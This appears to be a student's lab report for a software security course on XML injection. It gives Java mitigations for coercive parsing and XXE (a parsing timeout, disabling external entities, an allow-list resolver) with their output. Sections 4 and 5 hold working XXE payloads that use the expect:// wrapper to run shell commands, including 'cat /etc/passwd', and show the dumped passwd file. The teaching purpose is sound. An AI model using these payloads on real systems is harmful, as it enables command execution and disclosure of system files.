CS 542 – Introduction to Software Security
Exercise on XML Injections

Binhao Chen (bchen276@wisc.edu), Steven Yang (yang558@wisc.edu)

Due: October 25 at 2:30pm.

1 The mitigation code (well commented) for mitigating the first XML attack (long malformed XML input file).

```
1
2  import org.xml.sax.helpers.XMLReaderFactory;
3  import java.lang.Exception;
4  import org.xml.sax.InputSource;
5  import org.xml.sax.*;
6  import java.io.IOException;
7  import javax.xml.parsers.*;
8  import java.util.concurrent.*;
9
10 /*
11  * This xmlParser class uses Java XMLReader interface to parse an XML file.
12  * It first uses XMLReaderFactory to create an instance of XMLReader interface.
13  * It then uses the xmlReader to register a user-defined content handler to the
        XML parser.
14  * Finally, it parses the XML file while calling the user-defined content
      handler to print
15  * out the content of the XML file.
16  * The whole process only processes the content of the XML file without
      creating an object
17  * to store it.
18  */
19 public class xmlParser {
20     public static void main(String[] args) {
21
22         // We use the Executor Class to set up the timeout
23         // Tasks that are submitted to the ExecutorService are interrupted
24         // if they take longer than the timeout to run.
25
26         // We instantiate a ExecutorService class and set the
27         // Thread to be fixed as 1.
28         // This creates a new thread to do the XML parsing.
29
30         // We override the function run() in Runnable class
31         // and make the XML Parser task be nested in a instance of runnable
               called ``receiveResponse''.
32
33         ExecutorService executor = Executors.newFixedThreadPool(1);
34
35         Runnable receiveResponse = new Runnable() {
36             @Override
37             public void run() {
38
39                 try {
40
41                     if (args.length != 1)
```

```
                        throw new IOException("Need a valid xml file name.");

                    SAXParserFactory parserFactory = SAXParserFactory.
                        newInstance();

                    SAXParser parser = parserFactory.newSAXParser();

                    XMLReader xmlReader = parser.getXMLReader();

                    xmlReader.setContentHandler(new MyContentHandler());

                    xmlReader.parse(new InputSource(args[0]));

                } catch (Exception e) {

                    e.printStackTrace();
                    System.out.println("Timeout and SAXException occured!");
                }
            }
        };

        // The main thread will then wait for this thread to complete,
        // with time-out (1 second here) if the parsing thread takes too long.
        try {
            executor.submit(receiveResponse);
            executor.shutdown();
            executor.awaitTermination(1, TimeUnit.SECONDS);
        } catch (InterruptedException e) {
        } finally {
            try {
                executor.shutdownNow();
            } catch (Exception e) {

            }
        }

    }
}

/*
 * MyContentHandler class inherits the built-in DefaultHandler class.
 * It is registered to the XML Parser and will be called during the parsing.
 */
final class MyContentHandler extends org.xml.sax.helpers.DefaultHandler
        implements org.xml.sax.ContentHandler {

    // This method will be called during parsing the content of each element
    final private static void print(final String context, final String text) {
        java.lang.System.out.println(context + ":\"" + text + "\".");
    }

    // This method will be called during parsing the starting tag of each
        element
    final public void startElement(final String namespace, final String
        localname,
            final String type, final org.xml.sax.Attributes attributes)
            throws org.xml.sax.SAXException {

        // Check if the thread was interrupted,
        // and in that case throw an SAXException.
        if (Thread.currentThread().isInterrupted()) {
            throw new org.xml.sax.SAXException();
        }
```

```
102         print("startElement", type);
103     }
104
105     // This method will be called during parsing the ending tag of each element
106     final public void endElement(final String namespace, final String localname
        ,
107             final String type) throws org.xml.sax.SAXException {
108         print("endElement", type);
109     }
110
111     // This method will be called during parsing the content of each element
112     final public void characters(final char[] ch, final int start, final int
        len) {
113         final String text = new String(ch, start, len);
114         final String text1 = text.trim();
115         if (text1.length() > 0)
116             print("characters ", text1);
117     }
```

1.1 For the above mitigation, the output produced by the system when trying to run the attack.

```
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_One/Mitigation$ java xmlParser ../largeFile.xml
startElement:"A0".
startElement:"A1".
startElement:"A2".
startElement:"A3".
startElement:"A4".
startElement:"A5".
startElement:"A6".
startElement:"A7".
startElement:"A8".
startElement:"A9".
startElement:"A10".
startElement:"A11".
startElement:"A12".
startElement:"A13".
startElement:"A14".
startElement:"A15".
startElement:"A16".
startElement:"A17".
startElement:"A18".
startElement:"A19".
startElement:"A20".
startElement:"A21".
startElement:"A22".
startElement:"A23".
startElement:"A24".
startElement:"A25".
```

```
startElement:"A7465".
startElement:"A7466".
startElement:"A7467".
startElement:"A7468".
startElement:"A7469".
startElement:"A7470".
startElement:"A7471".
startElement:"A7472".
startElement:"A7473".
startElement:"A7474".
startElement:"A7475".
startElement:"A7476".
startElement:"A7477".
startElement:"A7478".
startElement:"A7479".
startElement:"A7480".
org.xml.sax.SAXException
        at MyContentHandler.startElement(xmlParser.java:84)
        at java.xml/com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.startElement(AbstractSAXParser.java:510)
        at java.xml/com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanStartElement(XMLDocumentFragmentScannerImpl.java:139
7)
        at java.xml/com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(XMLDocumentFragmentScannerImp
l.java:2710)
        at java.xml/com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:605)
        at java.xml/com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:534)
        at java.xml/com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:888)
        at java.xml/com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:824)
        at java.xml/com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
        at java.xml/com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.parse(AbstractSAXParser.java:1216)
        at java.xml/com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser.parse(SAXParserImpl.java:635)
        at xmlParser$1.run(xmlParser.java:40)
        at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)
        at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
        at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
        at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
        at java.base/java.lang.Thread.run(Thread.java:829)
Timeout and SAXException occured!
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_One/Mitigation$
```

2 The code for the first mitigation for the XXE attack

```
120 import org.xml.sax.helpers.XMLReaderFactory;
121 import java.lang.Exception;
122 import org.xml.sax.InputSource;
123 import org.xml.sax.*;
124 import java.io.IOException;
125 import javax.xml.parsers.*;
126
127 /*
128  * This xmlParser class uses Java XMLReader interface to parse an XML file.
129  * It first uses XMLReaderFactory to create an instance of XMLReader interface.
130  * It then uses the xmlReader to register a user-defined content handler to the
        XML parser.
131  * Finally, it parses the XML file while calling the user-defined content
       handler to print
132  * out the content of the XML file.
133  * The whole process only processes the content of the XML file without
       creating an object
134  * to store it.
135  */
136 public class xmlParser {
137
138     public static void main(String[] args) {
139         try {
140
141             if (args.length != 1)
142                 throw new IOException("Need a valid xml file name.");
143
144             SAXParserFactory parserFactory = SAXParserFactory.newInstance();
145
146             SAXParser parser = parserFactory.newSAXParser();
147
148             XMLReader xmlReader = parser.getXMLReader();
149
150             // Disabling external entity expansions by changing the
                    configuration settings.
151             // Disable external entities declarations:
152             xmlReader.setFeature("http://xml.org/sax/features/external-general-
                    entities", false);
153             xmlReader.setFeature("http://xml.org/sax/features/external-
                    parameter-entities", false);
154
155             xmlReader.setContentHandler(new MyContentHandler());
156
157             xmlReader.parse(new InputSource(args[0]));
158         } catch (Exception e) {
159             e.printStackTrace();
160         }
161     }
162 }
163
164 /*
165  * MyContentHandler class inherits the built-in DefaultHandler class.
166  * It is registered to the XML Parser and will be called during the parsing.
167  */
168 final class MyContentHandler extends org.xml.sax.helpers.DefaultHandler
169         implements org.xml.sax.ContentHandler {
170
171     // This method will be called during parsing the content of each element
172     final private static void print(final String context, final String text) {
173         java.lang.System.out.println(context + ":\"" + text + "\".");
174     }
```

```
175
176     // This method will be called during parsing the starting tag of each
            element
177     final public void startElement(final String namespace, final String
            localname,
178             final String type, final org.xml.sax.Attributes attributes)
179             throws org.xml.sax.SAXException {
180         print("startElement", type);
181     }
182
183     // This method will be called during parsing the ending tag of each element
184     final public void endElement(final String namespace, final String localname
            ,
185             final String type) throws org.xml.sax.SAXException {
186         print("endElement", type);
187     }
188
189     // This method will be called during parsing the content of each element
190     final public void characters(final char[] ch, final int start, final int
            len) {
191         final String text = new String(ch, start, len);
192         final String text1 = text.trim();
193         if (text1.length() > 0)
194             print("characters ", text1);
195     }
196 }
```

2.1 For the above mitigation, the output produced by the system when trying to run the attack.

```
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Two/Mitigation/ApproachOne$ java xmlParser passwd.xml
startElement:"zzz".
endElement:"zzz".
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Two/Mitigation/ApproachOne$
```

3 The code for the second mitigation (allow list) for the XXE attack.

```
199 import org.xml.sax.helpers.XMLReaderFactory;
200 import java.lang.Exception;
201 import org.xml.sax.InputSource;
202 import org.xml.sax.*;
203 import java.io.IOException;
204 import javax.xml.parsers.*;
205 import java.util.Scanner;
206 import java.io.*;
207 import java.util.*;
208
209 /*
210  * This xmlParser class uses Java XMLReader interface to parse an XML file.
211  * It first uses XMLReaderFactory to create an instance of XMLReader interface.
212  * It then uses the xmlReader to register a user-defined content handler to the
        XML parser.
213  * Finally, it parses the XML file while calling the user-defined content
        handler to print
214  * out the content of the XML file.
215  * The whole process only processes the content of the XML file without
        creating an object
216  * to store it.
217  */
```

```
218 public class xmlParser {
219
220     public static void main(String[] args) {
221         try {
222
223             if (args.length != 1)
224                 throw new IOException("Need a valid xml file name.");
225
226             SAXParserFactory parserFactory = SAXParserFactory.newInstance();
227
228             SAXParser parser = parserFactory.newSAXParser();
229
230             XMLReader xmlReader = parser.getXMLReader();
231
232             // set Resolver
233             xmlReader.setEntityResolver(new MyResolver());
234
235             xmlReader.setContentHandler(new MyContentHandler());
236
237             xmlReader.parse(new InputSource(args[0]));
238         } catch (Exception e) {
239             e.printStackTrace();
240         }
241     }
242 }
243
244 class MyResolver implements EntityResolver {
245     public InputSource resolveEntity(String publicId, String systemId) {
246         //
247         // Your allow list checking code goes here
248         //
249
250         // Permit access only if reference is on an allow list
251         try {
252             File file = new File("allowListForXMLXXEAccess.txt");
253             Scanner input = new Scanner(file);
254             List<String> list = new ArrayList<String>();
255
256             while (input.hasNextLine()) {
257                 list.add(input.nextLine());
258             }
259
260             // modify the XML parser to compare the external entity reference
                    with the with strings on our allow list
261
262             // If the external entity is on the allow list, this entity will be
                     parsed as normal. If it is not on the allow list, then the
                    parser will ignore that external entity.
263
264             if (list.contains(systemId)) {
265                 return null;
266             } else {
267                 return new InputSource(new StringReader(""));
268             }
269         } catch (Exception e) {
270
271         }
272
273         return null;
274
275     }
276 }
277
```

```
/*
 * MyContentHandler class inherits the built-in DefaultHandler class.
 * It is registered to the XML Parser and will be called during the parsing.
 */
final class MyContentHandler extends org.xml.sax.helpers.DefaultHandler
        implements org.xml.sax.ContentHandler {

    // This method will be called during parsing the content of each element
    final private static void print(final String context, final String text) {
        java.lang.System.out.println(context + ":\"" + text + "\".");
    }

    // This method will be called during parsing the starting tag of each
        element
    final public void startElement(final String namespace, final String
        localname,
            final String type, final org.xml.sax.Attributes attributes)
            throws org.xml.sax.SAXException {
        print("startElement", type);
    }

    // This method will be called during parsing the ending tag of each element
    final public void endElement(final String namespace, final String localname
        ,
            final String type) throws org.xml.sax.SAXException {
        print("endElement", type);
    }

    // This method will be called during parsing the content of each element
    final public void characters(final char[] ch, final int start, final int
        len) {
        final String text = new String(ch, start, len);
        final String text1 = text.trim();
        if (text1.length() > 0)
            print("characters ", text1);
    }
}
```

3.1 For the above mitigation, the output produced by the system when trying to run the attack.

```
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Two/Mitigation/ApproachTwo$ make
compile xmlParser.java
javac xmlParser.java
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Two/Mitigation/ApproachTwo$ java xmlParser passwd.xml
startElement:"zzz".
endElement:"zzz".
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Two/Mitigation/ApproachTwo$ java xmlParser readable.xml
startElement:"zzz".
characters :"This is a readable file that it is OK for a parser to access".
endElement:"zzz".
```

4 The infiniteStream.xml file for infinite stream XML attack using remote code execution.

```
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!--Here we make use of the EXPECT extension, and the (while true) is a command
    that would cause an infinite output on the shell. -->

```

```
<!ENTITY content SYSTEM "expect://while true; do echo 'Infinite loop, to stop:
    Hit CTRL+C'; sleep 1; done ">

]>

<root>&content;</root>
```

4.1 For the above attack, screenshots or printouts you got from the system.

```
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three$ ls
books.xml  infiniteStream.xml  informationDisclosure.xml  MitigationOne  MitigationTwo  XMLParser.php
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three$ cd MitigationOne
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three/MitigationOne$ ls
infiniteStream.xml  XMLParser.php
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three/MitigationOne$ php XMLParser.php
Your input XML file: infiniteStream.xml
<ROOT>Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
Infinite loop, to stop: Hit CTRL+C
^C
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three/MitigationOne$
```

5 The informationDisclosure.xml file for information disclosure XML attack using remote code execution.

```

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [


<!--Here we make use of the EXPECT extension, (cat /etc/passwd) is a command
    that could print out the content of /etc/passwd.-->
<!ENTITY content SYSTEM "expect:// cat /etc/passwd">

]>

<root>&content;</root>
```

5.1 For the above attack, screenshots or printouts you got from the system.

```
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three$ ls
books.xml  infiniteStream.xml  informationDisclosure.xml  MitigationOne  MitigationTwo  XMLParser.php
user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three$ php XMLParser.php
Your input XML file: informationDisclosure.xml
<ROOT>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
user:x:1000:1000:User,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
mongodb:x:127:133::/var/lib/mongodb:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
rstudio-server:x:997:997::/home/rstudio-server:/bin/sh
</ROOT> XML Error: Invalid URI at line 11user@software-security22:~/Desktop/EXERCISES/3.8.4_XML_Injections/Exercise_Three$
```

6 An Explanations on the attacks and mitigations, and your conclusions.

Attacks:

1. Infinite Stream: To make an infinite stream attack, we makes use of the EXPECT extension. In the external entity, we insert a command that will never end after the expect:// protocol. When the parser tries to parse this entity, it will execute this command (while true; do echo 'Infinite loop, to stop: Hit CTRL+C'; sleep 1; done), which causes an infinite output on the shell.

2. Information Disclosure: To make an information disclosure attack, we also make use of the EXPECT extension. In the external entity, we insert a command that will print out the content of /etc/passwd after the expect:// protocol. When the parser tries to parse this entity, it will execute this command (cat /etc/passwd), which will print out the sensitive information about password.

Mitigations:

1. Exercise 1 Forcing a Time-Out: We make use of the Executor to initiate a new thread. Then we override the run method in Runnable class to do the parsing. After we submit the runnable, we set a time limit of 2 seconds. If the parsing did not finish within 2 seconds, then the thread will be interrupted. In the startElement(), we check if the thread is interrupted, then throw a SAXException. The parsing will then stop and print out exception.

2. Exercise 2 Disable the External Entity: We make use of the xmlReader.setFeature() to change the settings of the parser configuration, to disable external entity process. We disable the "external-general-entities" and the "external-parameter-entities".

3. Exercise 2 Use an allow list: To mitigate with an allow list we define our own entity resolver. We read the allow list txt file and store the strings that the xmlParser will allow to be used as external entities. Then check if "systemId" are contained in these allowed entities. If not, then return empty string. If yes, return null to tell parser to expand it.

Conclusions: We make use of the Executor class of Java to create new thread and set time out to mitigate coercive parsing attack. We also implemented the "feature setting" and "allow (white) list" to mitigate the XXE attack. We also tried to exploit the Infinite Stream and Information Disclosure Vulnerabilities in PHP XML parser with the the EXPECT extension.